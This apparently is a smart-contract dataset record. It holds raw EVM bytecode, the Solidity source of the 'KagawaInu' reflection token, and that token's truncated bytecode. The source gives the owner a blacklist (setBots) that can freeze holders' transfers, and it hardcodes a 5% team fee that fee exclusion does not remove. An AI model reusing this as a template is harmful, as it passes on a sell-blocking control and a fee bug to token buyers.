}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a71565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a84565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d16565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfd565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611022565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121e565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070157600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c857600080fd5b61081a82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a590919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108af82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112be90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a590919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610b96576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2a565b610ba983826112a590919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610df55780601f10610dca57610100808354040283529160200191610df5565b820191906000526020600020905b815481529060010190602001808311610dd857829003601f168201915b505050505081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e4d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e8957600080fd5b610edb82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112be90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110b382600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112be90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112b357fe5b818303905092915050565b600081830190508281101515156112d157fe5b809050929150505600a165627a7a72305820fb1e5dfa6f851be3c3c9ba9d4849ce56527be5b7102cdc755ff4bfbced9e6b350029
|
{"success": true, "error": null, "results": {}}
| 4,017 |
0xd4e88c93a6d8abb74e842242090d890dd5274f22
|
// Telegram : t.me/KagawaInu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KagawaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Kagawa Inu";
string private constant _symbol = " KGINU ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4f565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e34565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612923565b61048d565b6040516101e09190612e34565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613066565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ef565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b19190612ff1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d66565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4f565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e34565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ae565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a41565b6110d2565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e7565b61121b565b6040516104189190612ff1565b60405180910390f35b60606040518060400160405280600b81526020017f204b616761776120496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b6105568560405180606001604052806028815260200161372a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f31565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f31565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d04565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f204b47494e552000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f31565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613307565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d72565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f31565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128be565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128be565b6040518363ffffffff1660e01b8152600401610e1f929190612d81565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128be565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd3565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6a565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555068056bc75e2d63100000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612daa565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612a18565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f31565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612ef1565b60405180910390fd5b6111d960646111cb83683635c9adc5dea0000061206c90919063ffffffff16565b6120e790919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112109190612ff1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612eb1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612ff1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612e71565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612f51565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffff